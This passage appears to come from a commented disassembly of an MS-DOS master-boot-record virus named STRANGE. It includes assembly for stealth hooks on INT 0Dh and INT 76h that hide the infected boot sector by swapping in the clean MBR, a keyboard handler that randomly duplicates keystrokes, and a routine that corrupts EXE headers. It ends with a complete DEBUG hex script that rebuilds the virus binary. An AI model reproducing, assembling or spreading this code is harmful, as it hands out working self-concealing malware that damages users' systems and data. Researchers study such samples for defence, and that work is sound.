Status Register i76_still_reading: in al, dx ; Get Status ; test al, 80h ; Drive Busy? jnz i76_still_reading i76_no_stealth: pop dx pop ax mov cs:in_int_76_flag, 0 i76_abort: popf int_76_vector: ; The INT 76h Vector is inserted here. ;jmp far ptr 0:0 db 0EAh dd 0 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; This searches through the data from the DMA transfer for the virus. If it ; is found, the virus is overwritten with the clean MBR. ; int_0D_handler: pushf push ax push bx push cx push dx push es push ds push si push di in al, 6 ; DMA controller, 8237A-5. ; xchg ah, al in al, 6 ; DMA controller, 8237A-5. ; xchg ah, al mov bx, ax ; BX=Offset of I/O buffer xor ax, ax ; (END of the virus) DMA_search: mov es, ax ;** cmp word ptr es:[bx+marker_position-200h], marker db 26h, 81h, 0BFh, 24h, 0FFh, 7Ch, 04h jz i0D_do_stealth inc ax cmp ax, 10 jb DMA_search jmp short i0D_exit nop i0D_do_stealth: push cs ; Copy clean MBR into DMA buffer. pop ds cld mov cx, 200h mov si, offset clean_MBR sub bx, cx mov di, bx rep movsb i0D_exit: pop di pop si pop ds pop es pop dx pop cx pop bx pop ax popf int_0D_vector: ;jmp far ptr 0:0 db 0EAh dd 0 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ print_msg: pushf push bx push ax mov bx, offset msg mov ah, 0Eh ; Print Char print_loop: mov al, cs:[bx] or al, al jz print_done xor al, 96h int 10h inc bx jmp short print_loop print_done: pop ax pop bx popf ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; To understand this, you must be familiar with the way that the keyboard ; buffer's start and end move on each key stroke and wrap around. ; copy_key: mov ax, 40h mov es, ax ; ES=40h mov bx, es:1Ch ; 1st free K/B buffer entry cmp bx, es:1Ah ; Next k/b buffer char. jz dont_copy_key sub bx, 2 cmp bx, 28 ja no_kbuf_wrap2 mov bx, 60 no_kbuf_wrap2: mov ax, es:[bx] ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ db 80h, 0FCh ; CMP AH,xx rand_key_scancode db 30h ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jnz dont_copy_key mov bx, es:1Ch mov es:[bx], ax add bx, 2 cmp bx, 62 jb no_kbuf_wrap mov bx, 30 no_kbuf_wrap: mov es:1Ch, bx dont_copy_key: ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; This handler occasionaly duplicates a predetermined keystroke, in the ; keyboard buffer. ; Since this is of no use to the virus itself, I haven't had much of a look ; at it. ; int_09_handler: pushf push es push bx push ax in al, 60h ; AT Keyboard controller 8042. test al, 80h jnz i09_abort ; Abort if extended keystroke. xor ax, ax mov es, ax mov bx, es:41Ch mov cs:kb_1st_free_slot, bx pop ax pop bx pop es popf pushf int_09_vector_a: ;call far ptr 0:0 db 09Ah dd 0 jmp short i09_activate nop i09_abort: pop ax pop bx pop es popf int_09_vector_b: ;jmp far ptr 0:0 db 0EAh dd 0 ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ i09_activate: pushf push es push bx push ax xor ax, ax mov es, ax mov bx, es:41Ch cmp bx, cs:kb_1st_free_slot jz i09_activate_abort ; ; After grabbing the number of clock ticks from the BIOS data area, as a ; pseudo-random number, the virus decides upon how many times to duplicate ; the keystroke. This number increase with exponentialy less probability: ; ; Number of Duplications Probability ;------------------------------------------ ; 0 75% ; 1 25% ; 2 12.5% ; 3 6.25% ; mov ax, es:46Ch push cx xor cx, cx test ax, 3 jnz _1_in_4 inc cx ; 1 extra keystroke _1_in_4: test ax, 7 jnz _1_in_8 inc cx ; 2 extra keystrokes _1_in_8: test ax, 0Fh jnz _1_in_16 inc cx ; 3 extra keystrokes _1_in_16: jcxz dont_duplicate_keys duplicate_key_loop: call copy_key loop duplicate_key_loop dont_duplicate_keys: pop cx i09_activate_abort: pop ax pop bx pop es popf iret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; Chooses which key we will occassionally duplicate. ; set_rand_key: pushf push es xor ax, ax mov es, ax mov ax, es:46Ch and al, 3Fh cmp al, 35h ; 0 -> 35h are scan codes for visibal char's. jbe rn_no_zero xor ax, ax rn_no_zero: pop es popf ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ; Do the MZ/ZM swapping thing when reading EXE files. ; swap_MZ_ZM: pushf push ds push ax cmp ah, 3 jnz i13_exit_swap cmp word ptr es:[bx], 'ZM' jnz i13_exit_swap xor ax, ax mov ds, ax mov ax, ds:46Ch test ax, 0Fh ; 1 in 16 chance of swapping. jnz i13_exit_swap mov word ptr es:[bx], 'MZ' i13_exit_swap: pop ax pop ds popf ret ;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ clean_MBR = 0800h buffer = 0A00h seg000 ends end start ;=[END STRANGE.ASM]========================================================== ;=[BEGIN STRANGE.SCR]======================================================== N STRANGE.BIN E 0100 EB 1C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0110 00 00 00 00 00 00 00 00 00 00 00 00 00 00 33 C0 E 0120 8E D0 BC 00 7C 8E D8 A1 13 04 50 B1 06 D3 E0 8E E 0130 C0 26 81 3E 24 01 7C 04 58 9C 2D 03 00 9D 9C 74 E 0140 03 A3 13 04 FC B1 06 D3 E0 8E C0 33 FF BE 00 7C E 0150 B9 00 02 F3 A4 06 B8 AA 00 50 CB 53 52 33 D2 2E E 0160 F7 36 18 00 FE C2 8A EA 33 D2 2E F7 36 1A 00 8A E 0170 FA B1 06 D2 E4 0A E5 86 E0 8B C8 5A 8A F7 5B C3 E 0180 56 50 BE 03 00 33 C0 E8 DC 00 58 50 E8 CC FF B8 E 0190 01 02 E8 D1 00 73 04 4E 75 EB F9 58 5E C3 50 E8 E 01A0 B9 FF B8 01 03 E8 BE 00 58 C3 BB 00 02 2E C7 06 E 01B0 66 01 CD 13 2E C6 06 68 01 C3 F6 C2 80 75 2B 2E E 01C0 A1 72 01 E8 BA FF 72 1D 40 BB 00 04 E8 B1 FF 72 E 01D0 14 40 BB 00 06 E8 A8 FF 72 0B 1E 07 BB 00 7C 40 E 01E0 E8 9D FF 73 36 EA F0 FF 00 F0 B9 0E 00 32 F6 B8 E 01F0 01 02 CD 13 72 EF 41 B8 01 02 BB 00 04 CD 13 72 E 0200 E4 41 B8 01 02 BB 00 06 CD 13 72 D9 41 33 C0 8E E 0210 C0 BB 00 7C B8 01 02 CD 13 72 CA 9D 74 3D F6 C2 E 0220 80 75 03 E8 7C 04 33 C0 8E D8 0E 07 BE 20 00 BF E 0230 68 02 A5 A5 2E C7 06 66 01 9C 9A BE 00 01 BF 68 E 0240 01 A5 A5 BE A8 00 BF 60 01 A5 A5 2E C6 06 74 01 E 0250 00 C7 06 20 00 09 02 8C 0E 22 00 EA 00 7C 00 00 E 0260 00 00 00 00 00 00 9C 9A 00 00 00 00 C3 00 00 00 E 0270 00 00 00 00 00 00 00 00 00 9B 9C DE FB FB B8 B8 E 0280 B8 B6 C5 E2 E4 F7 F8 F1 F3 B6 F2 E4 FF E0 F3 E4 E 0290 E5 B6 EF F9 E3 B6 FE F7 E0 F3 BA B6 E0 F3 E4 EF E 02A0 B6 E5 E2 E4 F7 F8 F1 F3 B8 B8 B8 B6 AD BB BF 9B E 02B0 9C 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 02F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 0300 00 00 00 00 00 00 00 00 00 9C 50 56 57 1E 06 0E E 0310 07 33 C0 8E D8 BE A8 00 BF 60 01 FC A7 75 03 A7 E 0320 74 3F 81 3E A8 00 C5 40 75 19 2E 80 3E 74 01 01 E 0330 74 11 2E C6 06 74 01 01 BE A8 00 BF 60 01 A5 A5 E 0340 EB 1F 90 BE 84 00 BF 74 02 A5 A5 C7 06 84 00 6C E 0350 02 8C 0E 86 00 06 1E 07 1F BF 20 00 BE 68 02 A5 E 0360 A5 07 1F 5F 5E 58 9D EA 00 00 00 00 9C 80 FC 4B E 0370 74 06 9D EA 00 00 00 00 50 53 51 52 57 56 1E 06 E 0380 55 FC 8B F2 AC 0A C0 75 FB 81 7C F9 4E 44 74 03 E 0390 E9 36 01 B4 52 CD 21 26 8B 47 FE 8E D8 03 06 03 E 03A0 00 40 8E C0 26 80 3E 00 00 5A 74 04 06 1F EB ED E 03B0 81 06 03 00 C0 00 05 C0 00 2E 8C 06 64 01 06 1F E 03C0 8E C0 33 F6 33 FF B9 10 00 F3 A4 33 C0 8E D8 8C E 03D0 C8 39 06 86 00 75 0F 1E 07 0E 1F BE 74 02 BF 84 E 03E0 00 A5 A5 E9 94 00 C7 06 04 00 00 03 8C 0E 06 00 E 03F0 B8 00 01 50 A1 86 00 50 A1 84 00 50 B8 00 2A CF E 0400 55 50 8B EC 8C C8 3B 46 06 74 16 8B 46 04 2E A3 E 0410 60 01 8B 46 06 2E A3 62 01 81 4E 08 00 01 58 5D E 0420 CF 83 C4 0A 2E C5 1E 60 01 43 80 7F FF EA 74 3F E 0430 80 7F FF 9A 74 39 81 3F FF 1E 74 29 81 3F FF 2E E 0440 74 23 33 C0 8E C0 0E 1F 26 FF 06 13 04 26 FF 06 E 0450 13 04 26 FF 06 13 04 BE 74 02 BF 84 00 A5 A5 E8 E 0460 97 03 EB 65 90 43 43 8B 1F 2E A1 62 01 8E D8 1E E 0470 07 0E 1F BE 74 02 8B FB A5 A5 2E 8E 06 64 01 0E E 0480 1F 33 F6 33 FF B9 00 0C F3 A4 BF 4A 04 BE 4C 00 E 0490 33 C0 8E D8 A5 A5 BF 6E 07 BE 24 00 A5 A5 BF 7A E 04A0 07 BE 24 00 A5 A5 FF 06 13 04 FF 06 13 04 FF 06 E 04B0 13 04 E8 21 00 C7 06 24 00 50 07 8C 06 26 00 C7 E 04C0 06 4C 00 2B 04 8C 06 4E 00 5D 07 1F 5E 5F 5A 59 E 04D0 5B 58 9D E9 9D FE B8 01 02 BB 00 08 B9 01 00 BA E 04E0 80 00 CD 13 72 44 26 81 3E 24 09 7C 04 75 3B B8 E 04F0 01 02 BB 00 08 B9 11 00 BA 80 00 CD 13 72 2B BB E 0500 34 00 BA B3 06 BF F5 06 B8 02 00 B1 41 D3 E8 A9 E 0510 01 00 74 09 BB D8 01 BA 19 06 BF AF 06 33 C0 8E E 0520 D8 8B F3 A5 A5 89 17 8C 47 02 C3 9C 50 55 FA 50 E 0530 8B EC 58 3B 46 00 5D 58 FB 74 07 9D B4 03 F9 CA E 0540 02 00 9D E8 08 00 E8 84 03 EA 00 00 00 00 9C 50 E 0550 53 51 52 1E 06 56 57 80 FC 02 74 03 E9 18 01 E8 E 0560 1F 01 73 03 E9 10 01 0E 07 0E 1F BE 03 00 33 C0 E 0570 E8 F3 FC B8 01 02 BB 00 0A B9 01 00 B6 00 E8 E5 E 0580 FC 73 06 4E 75 E8 E9 EE 00 81 3E 24 0B 7C 04 75 E 0590 03 E9 E3 00 BE 02 0A BF 02 00 B9 1C 00 FC F3 A4 E 05A0 81 3E 0B 00 00 02 74 03 E9 CC 00 88 16 77 01 8B E 05B0 1E 0E 00 A0 10 00 98 F7 26 16 00 03 D8 A1 11 00 E 05C0 05 0F 00 B1 04 D3 E8 03 D8 A1 13 00 2B C3 33 D2 E 05D0 33 DB 8A 1E 0D 00 F7 F3 40 8B F0 B8 04 00 F6 36 E 05E0 0D 00 0A E4 74 02 FE C0 98 8B FE 2B F8 A1 16 00 E 05F0 48 03 06 0E 00 BB 00 0A 8A 16 77 01 E8 81 FB 72 E 0600 76 B8 03 00 81 FE F0 0F 73 01 40 F7 E7 D1 E8 B9 E 0610 00 02 F7 F1 8B DA 8B 87 00 0A 81 FE F0 0F 77 0D E 0620 F7 C7 01 00 74 04 B1 04 D3 E8 80 E4 0F A9 FF FF E 0630 75 45 47 3B FE 76 CA 83 2E 13 00 04 A1 13 00 A3 E 0640 72 01 8A 16 77 01 BB 00 02 E8 52 FB 72 29 40 BB E 0650 00 04 E8 49 FB 72 20 40 BB 00 06 E8 40 FB 72 17 E 0660 50 33 C0 BB 00 0A E8 17 FB 58 72 0B 40 E8 2E FB E 0670 33 C0 33 DB E8 27 FB 5F 5E 07 1F 5A 59 5B 58 9D E 0680 C3 50 53 51 52 1E 80 FA 01 77 0B 2E 3A 16 78 01 E 0690 74 04 F8 EB 02 90 F9 2E 88 16 78 01 1F 5A 59 5B E 06A0 58 C3 0E 07 B8 01 02 BB 00 0A B9 01 00 BA 80 00 E 06B0 CD 13 72 64 2E 81 3E 24 0B 7C 04 74 5B B9 C0 0B E 06C0 0A ED 75 08 2E F6 06 BF 0B FF 74 4C E8 E9 01 2E E 06D0 A2 34 07 B8 01 03 BB 00 02 B9 0E 00 CD 13 72 38 E 06E0 B8 01 03 BB 00 04 41 CD 13 72 2D B8 01 03 BB 00 E 06F0 06 41 CD 13 72 22 B8 01 03 BB 00 0A 41 CD 13 72 E 0700 17 0E 1F BF BE 01 BE BE 0B B9 42 00 F3 A4 B8 01 E 0710 03 33 DB B9 01 00 CD 13 C3 9C 2E 80 3E 71 01 01 E 0720 75 03 E9 88 00 2E C6 06 71 01 01 50 52 BA F3 01 E 0730 EC 3C 01 74 03 EB 6E 90 42 EC 8A E0 42 EC 86 C4 E 0740 25 FF 03 3D 00 00 74 03 EB 5B 90 42 EC 24 0F 3C E 0750 00 74 03 EB 50 90 B0 20 E6 A0 E6 20 B0 00 E6 21 E 0760 E6 A1 FB BA F0 01 06 57 51 B9 00 01 0E 07 BF 00 E 0770 0A FC F3 6D 59 5F 07 BA F7 01 EC 3C 50 75 26 BA E 0780 F2 01 B0 01 EE EB 00 42 B0 11 EE EB 00 B0 00 42 E 0790 EE EB 00 42 EE EB 00 42 EE 42 B0 20 EE BA F7 01 E 07A0 EC A8 80 75 FB 5A 58 2E C6 06 71 01 00 9D EA 00 E 07B0 00 00 00 9C 50 53 51 52 06 1E 56 57 E4 06 86 E0 E 07C0 E4 06 86 E0 8B D8 33 C0 8E C0 26 81 BF 24 FF 7C E 07D0 04 74 09 40 3D 0A 00 72 EF EB 10 90 0E 1F FC B9 E 07E0 00 02 BE 00 08 2B D9 8B FB F3 A4 5F 5E 1F 07 5A E 07F0 59 5B 58 9D EA 00 00 00 00 9C 53 50 BB 79 01 B4 E 0800 0E 2E 8A 07 0A C0 74 07 34 96 CD 10 43 EB F2 58 E 0810 5B 9D C3 B8 40 00 8E C0 26 8B 1E 1C 00 26 3B 1E E 0820 1A 00 74 2B 83 EB 02 83 FB 1C 77 03 BB 3C 00 26 E 0830 8B 07 80 FC 30 75 18 26 8B 1E 1C 00 26 89 07 83 E 0840 C3 02 83 FB 3E 72 03 BB 1E 00 26 89 1E 1C 00 C3 E 0850 9C 06 53 50 E4 60 A8 80 75 1B 33 C0 8E C0 26 8B E 0860 1E 1C 04 2E 89 1E 75 01 58 5B 07 9D 9C 9A 00 00 E 0870 00 00 EB 0A 90 58 5B 07 9D EA 00 00 00 00 9C 06 E 0880 53 50 33 C0 8E C0 26 8B 1E 1C 04 2E 3B 1E 75 01 E 0890 74 21 26 A1 6C 04 51 33 C9 A9 03 00 75 01 41 A9 E 08A0 07 00 75 01 41 A9 0F 00 75 01 41 E3 05 E8 63 FF E 08B0 E2 FB 59 58 5B 07 9D CF 9C 06 33 C0 8E C0 26 A1 E 08C0 6C 04 24 3F 3C 35 76 02 33 C0 07 9D C3 9C 1E 50 E 08D0 80 FC 03 75 18 26 81 3F 4D 5A 75 11 33 C0 8E D8 E 08E0 A1 6C 04 A9 0F 00 75 05 26 C7 07 5A 4D 58 1F 9D E 08F0 C3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 RCX 0800 W Q ;=[END STRANGE.SCR]==========================================================